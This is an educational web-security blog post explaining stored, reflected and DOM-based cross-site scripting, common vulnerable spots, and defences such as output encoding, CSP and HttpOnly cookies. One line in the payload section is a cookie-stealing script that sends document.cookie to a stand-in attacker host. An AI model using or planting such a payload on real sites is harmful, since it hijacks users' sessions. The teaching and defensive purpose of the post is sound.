← abunaim.dev.bd Research notes

Write-up · Web Security

Cross-Site Scripting (XSS): How One Input Field Can Take Over an Account

Abu Naim · 24 November 2026 · 4 min read

Cross-Site Scripting has been on the OWASP Top 10 for over a decade, and it still shows up in almost every web application assessment I do. The reason is simple: it only takes one place where user input is reflected back into a page without proper encoding, and the attacker suddenly runs JavaScript in the victim’s browser — with the victim’s session.

The three types, in plain language

Stored XSS is the most dangerous. The payload is saved on the server — in a comment, a profile field, a support ticket — and executes for everyone who views that page. One payload, many victims.

Reflected XSS needs the victim to click a crafted link. The payload travels in the URL or a form field, the server echoes it back in the response, and the browser runs it. Phishing makes this easy to deliver.

DOM-based XSS never touches the server. Vulnerable JavaScript on the page takes attacker-controlled data — from the URL hash, for example — and writes it into the page with something like innerHTML. The server logs look completely clean, which is why this type is missed so often.

What a payload actually does

The classic textbook payload is <script>alert(1)</script>, but that only proves the hole exists. A real attack is quieter. This payload, for example, sends the victim’s cookies to an attacker-controlled server:

<script>new Image().src='https://evil.example/c?'+document.cookie</script>

If the session cookie is not flagged HttpOnly, the attacker receives it and logs in as the victim — no password needed. Even with HttpOnly set, the attacker can still act inside the victim’s session: change the email address, trigger a password reset, or perform actions as the user, all from the victim’s own browser.

Where I find it most often

  • Search boxes and error pages that echo the search term back without encoding.
  • Profile fields — display names, bios, website URLs — rendered raw on other users’ pages.
  • File uploads — an uploaded SVG or HTML file served from the same origin runs JavaScript in the site’s context.
  • JavaScript frameworks used unsafely — dangerouslySetInnerHTML, v-html, or jQuery’s .html() fed with user data.

Three defences that stop it

  • Encode output for its context. HTML-encode data placed in HTML, JavaScript-encode data placed in scripts, URL-encode data placed in URLs. One encoder does not fit all contexts.
  • Set a Content Security Policy. A strict CSP with no unsafe-inline makes most injected scripts refuse to run, even when an encoding bug slips through.
  • Flag cookies HttpOnly and SameSite. HttpOnly keeps JavaScript away from session cookies; SameSite=Lax limits cross-site requests carrying them.

XSS is not a beginner bug — it is a design failure in how an application handles untrusted data. Fix the encoding at the output layer, add CSP as a safety net, and test every input that is ever displayed back to a user. That is the whole recipe.